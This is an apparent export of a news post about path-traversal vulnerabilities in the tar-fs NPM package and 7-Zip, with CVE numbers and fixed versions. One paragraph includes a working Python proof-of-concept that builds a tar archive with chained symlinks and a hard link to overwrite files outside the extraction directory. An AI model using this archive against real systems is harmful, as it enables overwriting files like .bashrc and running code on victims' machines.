{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilities in tar-fs and 7-Zip allow writing files outside the base directory","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
A vulnerability has been identified in the NPM package tar-fs (CVE-2025-48387), allowing specially crafted tar archives to write files to any part of the filesystem, unrestricted by the directory into which they are being unpacked (subject to the current user's access permissions). This vulnerability can also be exploited to overwrite existing files, potentially allowing execution of malicious code in the system by rewriting files such as <.ssh\/id_rsa> or <.bashrc> in the user's home directory. <\/p>\n
The issue has been assigned a critical severity level considering that the tar-fs package has 23 million downloads per week and is used as a dependency in 1,155 projects. The vulnerability was addressed in releases 3.0.9, 2.1.3, and 1.16.5, which were created in May, but details about the vulnerability were not disclosed until nearly three months later. <\/p>\n
The vulnerability arises from insufficient checks of symbolic and hard links in the archive to ensure they do not escape the target extraction directory. Two symbolic links are employed to bypass these checks: the first points to the root directory of the archive extraction (<.>), and the second is created relative to the first symbolic link and uses <.. \/> characters in its name to escape the base directory. For example, the first link <noop\/noop\/noop> points to <.>, while the second <noop\/noop\/noop\/..\/..\/..\/> resolves to <.\/..\/..\/..\/>. To facilitate file overwriting in the archive, a hard link may be created that points to an external file relative to the second symbolic link. import tarfile import io with tarfile.open(<poc.tar>, mode=>'x') as tar: root = tarfile.TarInfo(<root>) root.linkname = (<noop\/> * 15) + (<.. \/> * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(<noop>) noop.linkname = <.> noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(<hardflag>) hard.linkname = <root\/home\/username\/flag\/flag> hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b>overwrite\n> overwrite = tarfile.TarInfo(<hardflag>) overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b>new!\n> newfile = tarfile.TarInfo(<root\/home\/username\/flag\/newfile>) newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
A similar vulnerability (CVE-2025-55188) has been identified in the 7-Zip archiver. Symbolic links containing the <.. \/> sequence in file paths can also be used to write files outside the base directory in 7-Zip. This issue can be exploited when unpacking any archives that support symbolic links, such as zip, tar, 7z, and rar, using 7-Zip. The problem has been fixed in version 7-Zip 25.01. \n Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"